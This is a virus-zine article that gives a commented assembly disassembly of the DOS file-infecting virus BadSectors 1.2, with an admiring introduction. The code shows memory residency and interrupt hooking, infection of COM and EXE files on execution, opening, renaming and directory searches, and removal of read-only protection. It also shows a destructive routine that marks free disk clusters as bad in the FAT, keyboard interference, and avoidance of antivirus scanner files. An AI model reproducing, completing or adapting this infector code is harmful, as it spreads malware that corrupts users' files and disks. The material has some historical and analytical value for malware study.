SLAM2.038: BadSectors 1.2 Virus Disassembling by Virtual Daemon [SLAM]
⁄-------------------------------------------------------------ø
| BadSectors Virus Disassembled by Virtual Daemon of SLAM |
¿-------------------------------------------------------------Ÿ
- Virus Name: Bad Sectors 1.2
- Aliases: BadSectors.3428
- Virus Author: ?
- Virus Type: Parasitic Resident COM & EXE Infector
- Virus Size: 3,428 bytes (COM & EXE)
Comments:
BadSectors 1.2 is just a new version of the BadSectors 1.1 virus. In my opinion this is one of the coolest virii out there... I don't really know who's the author of this, but I know that the guy had a lot of imagination when he did this. Well, the only thing that's missing in here is a cool encryption algorithm or a mutation engine and some anti-virus or anti-debugger routines.
When a program is executed, BadSectors will install itself memory resident at the top of memory but bellow the 640K DOS boundary, moving interrupt's 12 return. The virus hooks interrupts 08h, 16h, 21h, 24h, 25h and 26h!
The "BadSectors" name derive from the fact that the virus after a nr. of infections will set the disk clusters as bad clusters by FAT sectors manipulation. By hooking Int 16h BadSectors make jokes with the keyboard.
The BadSectors virus restore file time/date/attributes. Infections can be done via 4b00h (exec), 3d00h (open file), 56h (rename/move). The virus intercepts also the 11h/12h and 4eh/4fh and will infect a file every time this functions are called. The virus have Int24h handler for ignoring errors. BadSectors will not infect SCAN.* files.
--------------------------------- cut here ----------------------------------
MCBtype equ 0
MCBsize equ 3
memtop equ 12h
totalmem equ 413h
timertick equ 46Ch
filehandle equ 0d70h
newlowlng equ 0d72h
newhighlng equ 0d74h
transfaddr equ 0d76h
transfaddr1 equ 0d77h
transfaddr2 equ 0d78h
signpointer equ 0d7ah
hdrsize equ 0d7eh
relossfile equ 0d84h
exesp equ 0d86h
totsecs equ 0d89h
exeIPfile equ 0d8ah
relocs equ 0d8ch
diskmark1 equ 0d9ch
diskmark2 equ 0db0h
newDTA equ 0f76h
DTAfilename equ 0f94h
DTAofs equ 0fa2h
filename equ 0fa6h
filepointer equ 0ff6h
filetype equ 0ff8h
filetimestamp equ 0ff9h
filedatestamp equ 0ffbh
fileattribute equ 0ffdh
semaphor equ 0fffh
firstcounter equ 1000h
drivenumber equ 1002h
ressecs equ 1003h
fatcnt equ 1005h
fatsize equ 1006h
ressecscopy equ 1008h
fatFLAG equ 100ah
DOScounter equ 100ch
drivestable equ 100dh
dosversion equ 1041h
scanASCIIchr equ 1043h
savefilename equ 1045h
fileofs equ 1095h
fileseg equ 1097h
savefpointer equ 1099h
sectsiz equ 109bh
secondcounter equ 109dh
blocklength equ 1140h
sspointer equ 5
sppointer equ 7
terminaddr equ 9
code segment byte public
assume cs:code,ds:code
org 100h ;will be compiled as a COM file
entryroutine proc far
virus_start:
mov ax,cs
add ax,(offset newseg-virus_start+100h)/16
push ax ;form new entry segment
mov ax,offset entryaddress - newseg
push ax ;form new entry offset
retf
;---------- Original program ----------
db 4991 dup(90h)
db 5005 dup(0)
db 60h,71h,0eh,0abh,2,39h
db 25h,0,0
;---------- Begin of TSR part in Top Memory ----------
TSRpart db 'BadSectors 1.2'
int21_offset dw 311h ;original Int 21h offset
int21_segment dw 0f9fh ;original Int 21h segment
int08_offset dw 0fea5h ;original Int 08h offset
int08_segment dw 0f000h ;original Int 08h segment
int16_offset dw 0e82eh ;original Int 16h offset
int16_segment dw 0f000h ;original Int 16h segment
int1B_offset dw 750h ;original Int 1Bh offset
int1B_segment dw 70h ;original Int 1Bh segment
int24_offset dw 556h ;original Int 24h offset
int24_segment dw 0ea7h ;original Int 24h segment
int25_offset dw 15dch ;original Int 25h offset
int25_segment dw 23ah ;original Int 25h segment
int26_offset dw 161fh ;original Int 26h offset
int26_segment dw 23ah ;original Int 26h segment
;---------- INT 21h Handler ----------
int21handler:
cmp ah,34h ;DOS function = DOS Reentrancy Status address
jnz not34func
jmp reentrstatus
not34func:
inc byte ptr cs:DOScounter
cmp ax,4b00h ;DOS function = Execute or Load a Program - EXEC
jne not4bfunc
jmp loadandgo
not4bfunc:
cmp ax,3d00h ;DOS function = Open a File Handle
jne not3dfunc
jmp loadandgo
not3dfunc:
cmp ah,4eh ;DOS function = Find 1st Matching File
jne not4efunc
jmp find1stfile
not4efunc:
cmp ah,4fh ;DOS function = Find Next Matching File
jne not4ffunc
jmp findnextfile
not4ffunc:
cmp ah,11h ;DOS function = Find 1st Matching File via FCB
jne not11func
jmp find1stFCBfile
not11func:
cmp ah,12h ;DOS fucntion = Find Next Matching File via FCB
jne not12func
jmp findnextFCBfile
not12func:
cmp ah,56h ;DOS function = Rename/move a File
jne exit_handler
jmp loadandgo
exit_handler:
dec byte ptr cs:DOScounter
jmp dword ptr cs:[offset int21_offset-TSRpart] ;return to orig INT 21h
entryroutine endp
;---------- Subroutine = Get Error Handler and keyboard break
keybanderror proc near
push ds
xor ax,ax
mov ds,ax
mov si,6ch ;Hook INT 1Bh Keyboard break
mov di,(offset int1B_offset-TSRpart)
cld
movsw
movsw
cli
mov word ptr [si-4],(offset entryI1B-TSRpart)
mov [si-2],cs
sti
cmp byte ptr cs:[dosversion],3
jb DOSlowerverion
mov si,90h ;Hook INT 24H Critical Error Handler
mov di,(offset int24_offset-TSRpart)
movsw
movsw
cli
mov word ptr [si-4],(offset int24handler-TSRpart)
mov [si-2],cs
sti
DOSlowerverion:
pop ds
retn
keybanderror endp
;---------- Subroutine = restore keyb. break and error handler
restorekeyberr proc near
push es
xor ax,ax
mov es,ax
mov si,(offset int1B_offset-TSRpart)
mov di,6ch ;Restore INT 1Bh Keyboard break
cld
cli
movsw
movsw
sti
cmp byte ptr cs:[dosversion],3
jb DOSless300
mov si,(offset int24_offset-TSRpart)
mov di,90h ;Restore INT 24H Critical Error Handler
cli
movsw
movsw
sti
DOSless300:
pop es
retn
restorekeyberr endp
;---------- Subroutine = test if letter in [a..z] range and capitalize it
toupper proc near
cmp al,'a'
jb charnotcorrect
cmp al,'z'
ja charnotcorrect
and al,0dfh ;capitalize letter
charnotcorrect:
retn
toupper endp
extensions db 'COMEXE'
;---------- Subroutine = test if COM or EXE file extension
comexetester proc near
cmp ah,0
je loadgofile
mov dx,DTAfilename
mov cx,0dh ;file name length
jmp short openfile
loadgofile:
mov dx,filename
mov cx,50h ;maximum 80 char.complete path
openfile:
cld
mov al,0
mov di,dx
repne scasb
jnz errornotASCIIZ
sub di,2 ;pointer on the end of string
mov al,'.'
mov cx,4 ;search '.' of file extension
std
repne scasb ;pointer on the extension marker
jnz errornotASCIIZ
add di,2 ;pointer to the first extension char
mov si,(offset Extensions-TSRpart)
mov al,0
cld
otherextension:
push si
push di
mov cx,3
repe cmpsb
pop di
pop si
jz extensionfound
add si,3
inc al
cmp al,2 ;pass to the EXE extension search
jb otherextension
errornotASCIIZ:
stc
jmp short exitproc
nop
extensionfound:
clc
exitproc:
retn
comexetester endp
;---------- Subroutine = scan for the begin of file name
searchfilename proc near
mov di,filename
cld
xor al,al
mov cx,50h
repne scasb ;search end of string ASCIIZ
mov si,di
dec si ;si pointer at the end of string
std
mov bx,3a5ch
nextchr:
lodsb
cmp al,bl ;'\' for first \ from the end
je foundit
cmp al,bh ;':' for drive
je foundit
cmp si,filename
jae nextchr
dec si
foundit:
mov di,si
inc di
inc di ;position on the first file character
retn
searchfilename endp
wildcard db '*.*',0
;---------- Subroutine = replace file name with *.*
anyfile proc near
mov di,ds:[filepointer]
mov si,(offset wildcard-TSRpart)
cld
mov cx,4
rep movsb
retn
anyfile endp
;---------- Subroutine = Find the current drive
getdrive proc near
mov si,filename
lodsw
cmp ah,':' ;test if drive letter present
jne drivenotfound
sub al,41h ;find the drive number
jmp short savedrive
drivenotfound:
mov ah,19h ;get DOS default disk
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
savedrive:
mov ds:[drivenumber],al
retn
getdrive endp
;---------- Subroutine = Get valid Drive
getvaliddrive proc near
push si
cmp byte ptr [si],-1
je nextstep
mov al,[si]
jmp short not7
nextstep:
mov al,[si+7]
not7:
dec al
cmp al,-1
jne validdrive
mov ah,19h ;get DOS default disk
pushf
call dword ptr cs:[offset int21_offset-TSRpart]
validdrive:
mov cs:[drivenumber],al ;save drive number
pop si
retn
getvaliddrive endp
;---------- Subroutine = test if DOS or mapped network drive
analysedrive proc near
push ax
push es
cmp al,1ah ;test if invalid drive number (> 26)
jae signdrverror
push ax
mov ax,0ef01h ;get Drive Flag Table es:si
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
cmp ax,0
je netdrive
mov ah,52h ;get DOS info es:bx
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
pop ax
cmp al,es:[bx+20h] ;test current drive with DOS info
jae signdrverror ;if drive not DOS available
jmp short driveok
netdrive:
pop bx
mov bh,0
cmp byte ptr es:[bx+si],80h ;if mapped to local drive
jne signdrverror
driveok:
clc
jmp short leaveroutine
signdrverror:
stc
leaveroutine:
pop es
pop ax
retn
analysedrive endp
;---------- Subroutine = Capitalize file name and store it
getfilename proc near
push cs
pop es
mov di,FileName
mov si,dx
mov cx,50h ;maximum 80 characters
cld
nextchar:
lodsb
call toupper
stosb
loop nextchar
retn
getfilename endp
;---------- Subroutine = Build the original file name
buildname proc near
lodsb
cmp al,-1
jne remake
add si,7
remake:
cld
mov cx,8
push si
remakename:
lodsb
call toupper
cmp al,' '
je remakeextens
stosb
loop remakename
remakeextens:
mov al,'.'
stosb
mov cx,3
pop si
add si,8
parseextens:
lodsb
call toupper
cmp al,' '
je endzero
stosb
loop parseextens
endzero:
mov al,0
stosb
retn
buildname endp
;---------- Subroutine = recover the original file name
recoverfname proc near
test byte ptr ds:semaphor,8
jnz mustbuild
push ds
mov di,ds:[filepointer]
lds si,ds:[DTAofs]
add si,1eh ;position to file name
mov cx,0dh
cld
rep movsb ;restore the original file name
pop ds
jmp short leave99
mustbuild:
push ds
mov di,ds:[filepointer]
lds si,ds:[DTAofs]
call buildname
pop ds
leave99:
retn
recoverfname endp
;---------- Subroutine = adjust at 16bytes chunk of memory
adjustatpara proc near
add ax,0Fh
adc dx,0
and ax,0fff0h
retn
adjustatpara endp
;---------- Subroutine = save the file name in a temporary buffer
putfile proc near
mov si,filename
mov di,savefilename
mov cx,50h ;maximum 80bytes for a complete path
cld
rep movsb
mov ax,ds:[filepointer]
mov ds:[savefpointer],ax
retn
putfile endp
;---------- Subroutine = restore the file name from that temporary buffer
getfile proc near
mov si,savefilename
mov di,filename
mov cx,50h ;maximum 80bytes for a complete path
cld
rep movsb
mov ax,ds:[SaveFPointer]
mov ds:[FilePointer],ax
retn
getfile endp
;---------- Subroutine = transform character ASCII to number
chartonumber proc near
cmp al,'0'
jb notnumber
cmp al,'9'
ja notnumber ;value in [0..9] range
sub al,'0' ;transform to number value
clc
jmp short leaveproc16
notnumber:
stc ;signal error
leaveproc16:
retn
chartonumber endp
;---------- Subroutine = get version/subversion of virus in ah/al
verssubvers proc near
mov cx,0bh ;length of 'Badsectors 2.0'
mov di,0
repe cmpsb
stc
jnz leaveproc ;test if file already infected
lodsb ;load 1 from version
call chartonumber
jc leaveproc
xchg ah,al ;version in ah
lodsb
cmp al,'.'
stc
jnz leaveproc
lodsb
call chartonumber ;subversion in al
leaveproc:
retn
verssubvers endp
;---------- Subroutine = read the last 18 bytes of the file
readlast18b proc near
mov dx,filename
mov ax,3d00h ;open file in reading mode
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
jc exitproc18
mov bx,ax ;save handle
mov ds:filehandle,ax
mov ax,4202h ;seek to end of file
mov cx,0ffffh
mov dx,0ffeeh ;-12
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
mov bx,ds:filehandle
mov ah,3fh ;read from file
mov dx,transfaddr
mov cx,12h ;read the last 18 bytes
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
jc exitproc18
cmp ax,12h ;test if 18 bytes read
stc
jnz exitproc18
mov ah,3eh ;close file handle
mov bx,ds:filehandle
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
exitproc18:
retn
readlast18b endp
;---------- Subroutine = Test if file infected and get version/subversion
testinfect proc near
call readlast18b
jc waserror
mov si,signpointer
call verssubvers
jmp short returnproc
waserror:
clc
returnproc:
retn
testinfect endp
;---------- Subroutine = get original length
putoriglength proc near
call readlast18b
jc leave111
mov si,signpointer
call verssubvers
jc leave111
cmp ax,100h
je leave111
mov si,transfaddr
push es
les di,ds:[DTAofs]
test byte ptr ds:semaphor,8
jnz notinDTA
add di,1ah ;position to file name in DTA
jmp short getlength
notinDTA:
cmp byte ptr es:[di],-1
jne posfile
add di,7
posfile:
add di,1dh
getlength:
cld
movsw
movsw
pop es
leave111:
retn
putoriglength endp
;---------- Subroutine = Unprot file, get time/date and open in R/W mode
preparefile proc near
mov ax,4300h ;fetch current file attribute
mov dx,filename
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
jc signalerr
mov ds:[fileattribute],cx ;save file attribute
test cx,100b ;is System file?
jnz signalerr
test cx,1 ;is Read-only?
jz notreadonly
mov ax,4301h ;set File Attribute
mov cx,0 ;remove file protection
mov dx,filename
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
jc signalerr
NotReadOnly:
mov ax,3d02h ;open file in R/W mode
mov dx,filename
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
jc signalerr
mov ds:filehandle,ax ;save file handle
cmp byte ptr ds:[dosversion],3
jb doslower30
mov ax,5700h ;query time/date of a file
mov bx,ds:filehandle
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
mov ds:filetimestamp,cx ;time stamp
mov ds:filedatestamp,dx ;date stamp
doslower30:
clc
retn
signalerr:
stc
retn
preparefile endp
;---------- Subroutine = Restore original file state
restfilestate proc near
cmp byte ptr ds:[dosversion],3
jb doslessthan3
mov ax,5701h ;set time/date of the file
mov bx,ds:filehandle
mov cx,ds:filetimestamp
mov dx,ds:filedatestamp
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
doslessthan3:
mov ah,3eh ;close current file
mov bx,ds:filehandle
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
mov cx,ds:fileattribute
test cx,1 ;test if the file was Read-only
jz leavefinal
mov ax,4301h
mov dx,filename
pushf ;restore the original state of the file
call dword ptr ds:[offset int21_offset-TSRpart]
leavefinal:
retn
restfilestate endp
;---------- INT 25h Handler ----------
int25handler:
push ax
push bx
cmp al,1ah
jae invaliddrv
cmp cx,-1 ;count of sectors
je invaliddrv
shl al,1
cbw
mov bx,ax
mov cs:drivestable[bx],dx
invaliddrv:
pop bx
pop ax
jmp dword ptr cs:[offset int25_offset-TSRpart]
;---------- INT 26h Handler ----------
int26handler:
push ax
push bx
cmp al,1ah
jae invaliddrv1
cmp cx,-1
je invaliddrv1
shl al,1
cbw
mov bx,ax
mov cs:drivestable[bx],dx
invaliddrv1:
pop bx
pop ax
jmp dword ptr cs:[offset int26_offset-TSRpart]
;---------------------------------------------------
startsector dw 0
sector2 dw 0
sectorcounter dw 1
buffofs dw transfaddr
buffseg dw 9ec0h
;---------- Subroutine = Dos Disk reader
DOSdiskreader proc near
push ds
push es
cmp byte ptr cs:[dosversion],4
jae DOS45
pushf
call dword ptr cs:[offset int25_offset-TSRpart]
jmp short leavereader
DOS45:
mov cs:[offset startsector-TSRpart],dx
mov word ptr cs:[offset sector2-TSRpart],0
mov cs:[offset sectorcounter-TSRpart],cx
mov cs:[offset buffofs-TSRpart],bx
mov cs:[offset buffseg-TSRpart],ds
push cs
pop ds
mov bx,(offset startsector-TSRpart)
mov cx,0FFFFH
pushf
call dword ptr cs:[offset int25_offset-TSRpart]
leavereader:
pop dx
pop es
pop ds
retn
DOSdiskreader endp
;---------- Subroutine = Dos Disk writer
DOSdiskwriter proc near
push ds
push es
cmp byte ptr cs:[dosversion],4
jae DOS_45
pushf
call dword ptr cs:[offset int26_offset-TSRpart]
jmp short leavewriter
DOS_45:
mov cs:[offset startsector-TSRpart],dx
mov word ptr cs:[offset sector2-TSRpart],0
mov cs:[offset sectorcounter-TSRpart],cx
mov cs:[offset buffofs-TSRpart],bx
mov cs:[offset buffseg-TSRpart],ds
push cs
pop ds
mov bx,(offset startsector-TSRpart)
mov cx,0ffffh
pushf
call dword ptr cs:[offset int26_offset-TSRpart]
leavewriter:
pop dx
pop es
pop ds
retn
DOSdiskwriter endp
;---------- Subroutine = read/write drives' sectors without any purposes
readwritesect proc near
mov al,ds:[drivenumber]
call analysedrive ;if DOS or Novell drive
jc noerrorexit
cbw ;current drive number in ax
mov bx,ax
shl bx,1
mov dx,ds:drivestable[bx] ;get the last drive's sector
mov cx,1
mov bx,transfaddr
call DOSdiskreader
jc exit23 ;if error leave procedure
mov al,ds:drivenumber
cbw
mov bx,ax
shl bx,1
mov dx,ds:drivestable[bx]
mov cx,1
mov bx,transfaddr
call DOSdiskwriter ;save the last drive's sector
jmp short exit23
noerrorexit:
clc
exit23:
retn
readwritesect endp
;---------- Subroutine = Virus cutter if error in writing operation
viruscutter proc near
mov ax,4200h
mov bx,ds:filehandle
push bx ;seek at the end of original file
mov dx,ds:[offset newseg-TSRpart] ;file length dx:cx
mov cx,ds:[offset comexetype-TSRpart]
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
pop bx
mov ah,40h
mov cx,0 ;Cut the virus from the end of file
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
retn
viruscutter endp
;---------- Subroutine = Infect COM or EXE files
maininfector proc near
cmp byte ptr ds:filetype,0 ;test if COM file
je isCOM
jmp isEXE
isCOM:
call preparefile
jnc OKcontinue
jmp exitproc27
OKcontinue:
mov ax,4202h
xor cx,cx
xor dx,dx
mov bx,ds:filehandle ;seek to end of file
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
mov ds:[offset newseg-TSRpart],ax ;new pos. low
mov ds:[offset comexetype-TSRpart],dx ;new pos. high
mov ds:[offset origlnglow-TSRpart],ax ;new pos. low
mov ds:[offset origlnghigh-TSRpart],dx ;new pos. high
mov byte ptr ds:[offset COMEXEmark-TSRpart],0 ;COM mark
cmp ax,0f19bh ;Low length < 0F19Bh
nop
jc suitablelength
jmp showerror
suitablelength:
cmp ax,800h
jae suitsminim ;800h <= Low length < 0F19Bh
jmp showerror
suitsminim:
mov ax,4200h
xor cx,cx
xor dx,dx ;seek to the begin of file
mov bx,ds:filehandle ;to save the COM header
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
mov dx,(offset secondentry-TSRpart)
mov bx,ds:filehandle
mov ah,3fh ;read from file 11 bytes
mov cx,0bh
nop
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
jc showerror
mov ax,ds:[offset newseg-TSRpart] ;file length dx:ax
mov dx,ds:[offset comexetype-TSRpart]
call adjustatpara ;align at Paragraph
push ax
push dx
mov cx,dx
mov dx,ax
mov ax,4200h ;position at PARA alignement
mov bx,ds:filehandle ;at the end of file
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
mov bx,ds:filehandle
mov ah,40h
mov dx,0
mov cx,(offset eovirus-TSRpart) ;total length of virus
nop
pushf ;infect COM file at the end
call dword ptr ds:[offset int21_offset-TSRpart]
mov cx,ax ;bytes actualy written
pop dx
pop ax
jc errorwriting
cmp cx,(offset eovirus-TSRpart) ;test if OK writing
jne errorwriting
mov cx,4
shr ax,cl ;transform length in PARA
add ax,0d0h
nop
mov ds:[offset adjuster-TSRpart],ax
mov ax,4200H
xor cx,cx
xor dx,dx
mov bx,ds:filehandle
pushf ;seek again to the begin of file
call dword ptr ds:[offset int21_offset-TSRpart]
mov ah,40h
mov bx,ds:filehandle
mov dx,[offset startthunk-TSRpart]
nop
mov cx,0bh ;length of thunk
nop
pushf ;write the new begin of COM file
call dword ptr ds:[offset int21_offset-TSRpart]
clc
jmp short continue2
showerror:
stc
continue2:
pushf
call restfilestate
popf
exitproc27:
retn
errorwriting:
call viruscutter
clc
jmp short continue2
;---------- EXE infection ----------
isEXE:
call preparefile
jnc contoperation
jmp exitEXEop
contoperation:
mov ax,4202h
xor cx,cx
xor dx,dx
mov bx,ds:filehandle
pushf ;seek to the EOF
call dword ptr ds:[offset int21_offset-TSRpart]
mov ds:[offset newseg-TSRpart],ax
mov ds:[offset comexetype-TSRpart],dx
mov ds:[offset origlnglow-TSRpart],ax
mov ds:[offset origlnghigh-TSRpart],dx
mov byte ptr ds:[offset COMEXEmark-TSRpart],1 ;EXE mark
cmp dx,0
jne highernot0
cmp ax,800h
jae highernot0 ;if lower > 800H
jmp issomeerr
highernot0:
mov ax,4200h
xor cx,cx
xor dx,dx
mov bx,ds:filehandle
pushf ;seek to the beginning of the file
call dword ptr ds:[offset int21_offset-TSRpart]
mov ah,3fh ;read EXE header
mov dx,Transfaddr
mov bx,ds:filehandle
mov cx,18h
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
jnc EXEhdrOK
jmp issomeerr
EXEhdrOK:
cmp word ptr ds:[transfaddr],5A4DH ;'MZ' - exe type
je MZok
jmp issomeerr
MZok:
mov si,relossfile
mov di,0c05h
cld
movsw ;get Reloss-->C05h, Exesp-->C07h
movsw
mov si,exeIPfile
mov di,0c09h
movsw ;get ExeIP-->C09h, Relocs-->C0Bh
movsw
mov ax,ds:[offset newseg-TSRpart] ;file length dx:ax
mov dx,ds:[offset comexetype-TSRpart]
call adjustatpara
mov ds:newlowlng,ax ;save adjusted file length
mov ds:newhighlng,dx
mov cx,4
otherdiv2:
shr dx,1 ;obtain file length in PARA
rcr ax,1 ;in dx:ax
loop otherdiv2
sub ax,ds:hdrsize
add ax,(offset newseg - TSRpart)/16
nop
mov word ptr ds:[exeIPfile],10h
mov ds:relocs,ax
add ax,17h
nop
mov ds:[relossfile],ax
mov word ptr ds:exesp,200H
mov ax,ds:newlowlng
mov dx,ds:newhighlng
add ax,(offset eovirus-TSRpart)
nop
adc dx,0
push ax
and ax,1ffh ;make the necessary corrections
mov ds:[transfaddr2],ax ;PartPag adjustment
pop ax
mov cx,9
partpagadj:
shr dx,1
rcr ax,1
loop partpagadj
inc ax
mov ds:signpointer,ax ;PageCnt adjustment
mov ax,4200h
mov dx,ds:newlowlng
mov cx,ds:newhighlng
mov bx,ds:filehandle
pushf ;seek to the EOF
call dword ptr ds:[offset int21_offset-TSRpart]
mov bx,ds:filehandle
mov ah,40h
mov dx,0 ;write virus to the EOF
mov cx,(offset eovirus-TSRpart)
nop
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
jc errwriteEXE
cmp ax,(offset eovirus-TSRpart)
nop
jnz errwriteEXE ;if error in writing virus
mov ax,4200h
xor cx,cx
xor dx,dx
mov bx,ds:filehandle
pushf ;seek to the BOF
call dword ptr ds:[offset int21_offset-TSRpart]
mov ah,40h
mov bx,ds:filehandle
mov cx,18h
mov dx,transfaddr
pushf ;write the new EXE header
call dword ptr ds:[offset int21_offset-TSRpart]
clc
jmp short mayleave
issomeerr:
stc
mayleave:
pushf
call restfilestate
popf
exitEXEop:
retn
errwriteEXE:
call viruscutter
clc
jmp short mayleave
maininfector endp
;---------- Subroutine = analyse to see if valid sectors
studymedia proc near
cmp byte ptr ds:[diskmark1],29h ; ')'
jne oldertype
cmp byte ptr ds:[diskmark2],36h ; '6'
je errorexit
cmp byte ptr ds:[diskmark2],32h ; '2'
je Okleave
cmp word ptr ds:[totsecs],0
je errorexit
oldertype:
cmp word ptr ds:[totsecs],5104h
ja errorexit
Okleave:
clc
retn
errorexit:
stc
retn
studymedia endp
;---------- Subroutine = Modify 12-bit kind FAT
jumble12bitFAT proc near
mov si,6
mov cx,ds:[fatsize]
otherfatsect:
call readFAT
otherclst:
cmp word ptr ds:[fatFLAG],0
je donothurt1
cmp byte ptr ds:transfaddr[si],0 ;test if free
jne rndcluster
cmp byte ptr ds:transfaddr1[si],0 ;test if free
jne rndcluster
cmp byte ptr ds:transfaddr2[si],0 ;test if free
jne rndcluster
mov byte ptr ds:transfaddr[si],0f7h
mov byte ptr ds:transfaddr1[si],7fh
mov byte ptr ds:Transfaddr2[si],0ffh
or byte ptr ds:semaphor,2
dec word ptr ds:[fatFLAG]
rndcluster:
add si,3
mov ax,ds:[sectsiz]
sub ax,si
cmp ax,3
jae otherclst
donothurt1:
test byte ptr ds:semaphor,2
jz forgiveclust1
call writechangedFAT
forgiveclust1:
add si,3
sub si,ds:[sectsiz]
inc word ptr ds:[ressecscopy]
loop otherfatsect
retn
jumble12bitFAT endp
;---------- Subroutine = Modify 16-bit kind FAT
jumble16bitFAT proc near
mov si,8
mov cx,ds:[fatsize]
anotherFATsect:
call readFAT
othercluster:
cmp word ptr ds:[fatFLAG],0
je donothurt
cmp word ptr ds:transfaddr[si],0 ;test if unused cluster
jne randomcluster
mov word ptr ds:transfaddr[si],0fff7h ;mark BAD
or byte ptr ds:semaphor,2
dec word ptr ds:[fatFLAG]
randomcluster:
add si,2
mov ax,ds:[sectsiz]
sub ax,si
cmp ax,2
jae othercluster
donothurt:
test byte ptr ds:semaphor,2
jz forgiveFAT
call writechangedFAT
forgiveFAT:
mov si,0
inc word ptr ds:[ressecscopy]
loop anotherFATsect
retn
jumble16bitFAT endp
;---------- Subroutine = Read the partition sector if any
readFAT proc near
push cx
push si
mov al,ds:drivenumber
mov bx,transfaddr
mov cx,1
mov dx,ds:[ressecscopy]
call DOSdiskreader
pop si
pop cx
retn
readFAT endp
;---------- Subroutine = Write changes on FAT to disk
writechangedFAT proc near
and byte ptr ds:semaphor,0fdh
push cx
push si
mov dx,ds:[ressecscopy]
mov cl,ds:[fatcnt]
mov ch,0
otherFAT:
mov al,ds:drivenumber
push dx
push cx
mov cx,1
mov bx,transfaddr
call DOSdiskwriter
pop cx
pop dx
jc erroratwrite
mov al,ds:[fatsize]
mov ah,0
add dx,ax
loop otherFAT
erroratwrite:
pop si
pop cx
retn
writechangedFAT endp
;---------- Subroutine = Get BOOT P.B. info and attack FAT
attackFAT proc near
test byte ptr ds:semaphor,10h
jz returnpoint
mov word ptr ds:[secondcounter],-1
and byte ptr ds:semaphor,0efh
mov al,ds:[drivenumber]
call analysedrive
jc returnpoint ;if unknown drive exit
mov cx,1 ;count of sectors
mov dx,0 ;DOS logical sector
mov bx,transfaddr
call DOSdiskreader
jc returnpoint
cld
mov si,0d81h ;get sector size
mov di,sectsiz
movsw
mov si,0d84h
mov di,ressecs
movsw ;get reserved sectors
movsb ;get fat counter
mov si,0d8ch ;get fat size
movsw
mov ax,ds:[ressecs]
mov ds:[ressecscopy],ax
mov word ptr ds:[fatFLAG],4
call studymedia ;get info about FAT pointer
jc is16bitFAT
call jumble12bitFAT
jmp short returnpoint
is16bitFAT:
call jumble16bitFAT
returnpoint:
retn
attackFAT endp
;---------- Subroutine = Read Timer Tick from ROM Bios variables
readtimertick proc near
push ds
xor ax,ax
mov ds,ax
mov ax,ds:timertick
pop ds
retn
readtimertick endp
;---------- Subroutine = Initialize FirstCounter
initfirstcntr proc near
push ax
call readtimertick
and ax,7fffh
or ax,1ffh ;values in the range [1FF..7FFF]
mov cs:firstcounter,ax
pop ax
retn
initfirstcntr endp
;---------- INT 8 Handler ----------
entryI8:
test byte ptr cs:semaphor,1
jnz firstiszero
dec word ptr cs:firstcounter
jnz firstiszero
or byte ptr cs:semaphor,1
firstiszero:
test byte ptr cs:semaphor,10h
jnz secondiszero
dec word ptr cs:secondcounter
jnz secondiszero
or byte ptr cs:semaphor,10h
secondiszero:
jmp dword ptr cs:[offset int08_offset-TSRpart]
;---------- INT 16h Handler ----------
entryI16:
cmp ah,0 ;Read function (wait keystroke)
je isreadfn
cmp ah,10h
je isreadfn
cmp ah,1 ;Check if a key stroke is ready
je istestfn
cmp ah,11h
jne leaveI16
istestfn:
test byte ptr cs:semaphor,100b
jz leaveI16
mov ax,cs:scanASCIIchr
or ax,ax
retf 2
isreadfn:
push ax
test byte ptr cs:semaphor,1
jz firstdelay
test byte ptr cs:semaphor,100b
jnz resetallflags
call readtimertick
test ax,11b
jz scramble
pop ax
pushf
call dword ptr cs:[offset int16_offset-TSRpart]
mov cs:scanASCIIchr,ax
or byte ptr cs:semaphor,100b
iret
resetallflags:
pop ax
mov ax,cs:scanASCIIchr
call initfirstcntr
and byte ptr cs:semaphor,0fah
iret
scramble:
pop ax
push ax
pushf
call dword ptr cs:[offset int16_offset-TSRpart]
call initfirstcntr
and byte ptr cs:semaphor,0feh
firstdelay:
pop ax
leaveI16:
jmp dword ptr cs:[offset int16_offset-TSRpart]
;---------- INT 1Bh Handler ----------
entryI1b:
iret
;---------- INT 24h Handler ----------
int24handler:
test ah,00001000b ;test device type
jz notfailure
mov al,3 ;ret to appl.showing a DOS failure
iret
notfailure:
test ah,00100000b ;test IGNORE bit
mov al,0 ;signal ignore the error
iret
mov al,2
iret
;---------- Subroutine = DOS Analysa and FileName
testDOS proc near
cld
mov ax,es:[di+4] ;es:di from DOS information
test ah,80h
stc
jz leave1
cmp byte ptr [si],0 ;si == File name pointer
je signerror
push si
push di
add di,0ah ;position on Dos Device Names
nextletter:
lodsb
mov ah,es:[di]
cmp ax,2000h ;al may be 0 from ASCIIZ name
je signOK
cmp ax,202eh ;al may be '.' from extension
je signOK
cmp al,ah
jne signerror
inc di
jmp short nextletter
signerror:
stc
jmp short getout
signOK:
clc
getout:
pop di
pop si
leave1:
retn
testDOS endp
;---------- Subroutine = parse device drivers to lookup for filename
parsedrivers proc near
push es
mov ah,52h ;es:bx DOS important info
pushf
call dword ptr ds:[offset int21_offset-TSRpart]
les di,dword ptr es:[bx+0CH] ;DOS Segment
mov si,ds:[filepointer]
anotherdevice:
call testDOS
jnc noerror ;DOS file found
les di,dword ptr es:[di]
cmp di,0ffffh ;end of Linked List
jne anotherdevice
stc ;signal file not SYSTEM file
noerror:
pop es
retn
parsedrivers endp
antidot db 'SCAN'
;---------- Subroutine = test if SCAN is in charge
isscancharge proc near
call searchfilename
mov si,(offset antidot-TSRpart)
cld
mov cx,4
repe cmpsb
retn
isscancharge endp
